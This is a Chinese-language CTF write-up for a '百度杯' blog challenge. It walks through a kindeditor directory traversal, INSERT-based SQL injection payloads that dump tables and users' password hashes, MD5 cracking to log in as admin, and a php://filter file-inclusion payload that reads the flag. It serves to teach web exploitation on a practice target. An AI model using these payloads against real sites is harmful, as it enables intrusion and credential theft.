“百度杯”CTF比赛 十二月场Blog(sql注入)

“百度杯”CTF比赛 十二月场Blog

用到的知识点

1.kindeditor编辑器目录遍历漏洞(参数path)
2.insert注入
3.二次注入
4.PHP内置封装协议——php://filter

解题过程

(为了节省time,绕过弯路,直接上正确的思路)
1.得到链接,是这样一个画面。
“百度杯”CTF比赛 十二月场Blog(sql注入)
2.登录尝试进行**,无果。(还是字典不够强大)
3.发现还存在一个注册界面,那就注册一个呗。——用户名:aa/ 密码:aa(一开始习惯性的注册用户名为admin,发现注册不了,后来明白了,这是因为已经被注册过了,导致注册失败)
“百度杯”CTF比赛 十二月场Blog(sql注入)
3.使用注册的用户进行登录,发现里面存在一个Post功能(界面是多么熟悉又陌生)
“百度杯”CTF比赛 十二月场Blog(sql注入)
4.起初发现Post界面存在一个图片上传的功能(想要上传一句话木马进行webshell,是我太年轻,不可能这么轻易让我得到它——flag)但是通过上传图片,给了我们新的思路。发现报错界面显示了kindeditor,于是去网上寻找已知的漏洞,发现这个kindeditor编辑器存在目录遍历漏洞。
“百度杯”CTF比赛 十二月场Blog(sql注入)
5.payload——/kindeditor/php/file_manager_json.php?path=…/…/(发现了flag.php,难道这就轻而易举的得到它了???)
“百度杯”CTF比赛 十二月场Blog(sql注入)
6.访问flag.php(果不其然,童话里的故事都是骗人的,啊,还有走多久才能找到你)(其实一开始扫描目录就可以得到flag.php,主要是多学习一下kindeditor编辑的目录遍历漏洞)
“百度杯”CTF比赛 十二月场Blog(sql注入)
7.看了大佬的WP,在输入框中存在insert注入。(你让小白的我怎么想到呢,果然大佬就是大佬)
输入1’ and ‘1’=‘1 返回1
“百度杯”CTF比赛 十二月场Blog(sql注入)
“百度杯”CTF比赛 十二月场Blog(sql注入)
输入1’ and ‘1’=‘2 返回0
“百度杯”CTF比赛 十二月场Blog(sql注入)
“百度杯”CTF比赛 十二月场Blog(sql注入)
确定了为insert注入,那就开始注入吧!(因为insert语句不会回显,但是本题特殊,它会在第二个界面回显结果。)
猜测后台应该存在这样的sql语句
insert into table(columns) values(A1,B1,C1)
首先要猜测字段数,表面上可以知道存在username,title,content这三个字段,但不知道有没有其他看不见的字段,那就先尝试一下三个字段吧。发现返回结果为错误。
“百度杯”CTF比赛 十二月场Blog(sql注入)
继续尝试四个字段,返回成功。
“百度杯”CTF比赛 十二月场Blog(sql注入)
由此推测,insert语句的四个字段可能为(username, title,content,X) 。虽然X不清楚,但是不影响操作。(注意了,重点来了:开始暴库啦)
首先尝试(select database())’,‘X’)#,没有回显(大佬解释说,第四个字段可能是固定值,导致无回显)。因此可以尝试插入多条来进行注入。
暴数据库名payload:’,‘X’),(‘aa’,(database()),‘2,在aa上回显
“百度杯”CTF比赛 十二月场Blog(sql注入)
“百度杯”CTF比赛 十二月场Blog(sql注入)
爆表名payload:’,‘X’),(‘aa’,(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),‘3
“百度杯”CTF比赛 十二月场Blog(sql注入)
“百度杯”CTF比赛 十二月场Blog(sql注入)
爆users列名
payload:’,‘X’),(‘aa’,(SELECT group_concat(column_name) from information_schema.columns where table_name=‘users’),‘4
“百度杯”CTF比赛 十二月场Blog(sql注入)
“百度杯”CTF比赛 十二月场Blog(sql注入)
爆password字段内容
payload:’,‘X’),(‘aaa’,(SELECT group_concat(password) from users),'5
“百度杯”CTF比赛 十二月场Blog(sql注入)
“百度杯”CTF比赛 十二月场Blog(sql注入)
最后我们得到dbb616c5d935d8f34c12c291066d6fb7,0cc175b9c0f1b6a831c399e269772661,4124bc0a9335c27f086f24ba207a4912这样一个字段。通过编码规则可以得知,此为md5加密(md5一般由数字0到9和小写字母组成)。解码得到melody123、a(之前注册过的)、aa。进行登录(用admin和melody123)。
登录进来之后,我们发现了一个Manager,于是就确定是…php文件包含
“百度杯”CTF比赛 十二月场Blog(sql注入)
利用PHP中filter协议进行读取内容
payload:php://filter/read=convert.base64-encode/resource=…/flag&name=php
“百度杯”CTF比赛 十二月场Blog(sql注入)
将得到的数据进行base64解密即可。
“百度杯”CTF比赛 十二月场Blog(sql注入)

收获

1.kindeditor编辑器存在目录遍历漏洞(启示:发现cms等信息去网上查找是否存在已知漏洞)
2.insert注入
3.二次注入(代码审计可以看出,原谅小白不才 如想了解,可以看这位大佬的解释:https://xz.aliyun.com/t/5099#toc-3
二次注入就是先插入恶意语句,在进行数据库插入数据时,对其中的特殊字符进行了转义处理,但是重要一点是——在写入数据库的时候又保留了原来的数据。然后利用开发者默认存入数据库的数据都是安全的,当进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理,导致存在二次注入。(这幅图非常好,简单明了)
“百度杯”CTF比赛 十二月场Blog(sql注入)

再说一下二次注入和insert注入的区别:
二次注入在插入代码之前是不被执行的,而在插入数据之后,调用的时候会存在二次注入。insert注入在插入代码的时候,是会马上执行的。(insert注入在不同的情况下,回显的情况不一样)

4.PHP内置封装协议——php://filter
php://filter 的 参数列表
read     读取
write     写入
resource    数据来源(必须的)

read参数值可为
string.strip_tags 将数据流中的所有html标签清除
string.toupper 将数据流中的内容转换为大写
string.tolower 将数据流中的内容转换为小写
convert.base64-encode 将数据流中的内容转换为base64编码
convert.base64-decode 与上面对应解码

小白一枚,大佬不喜勿喷。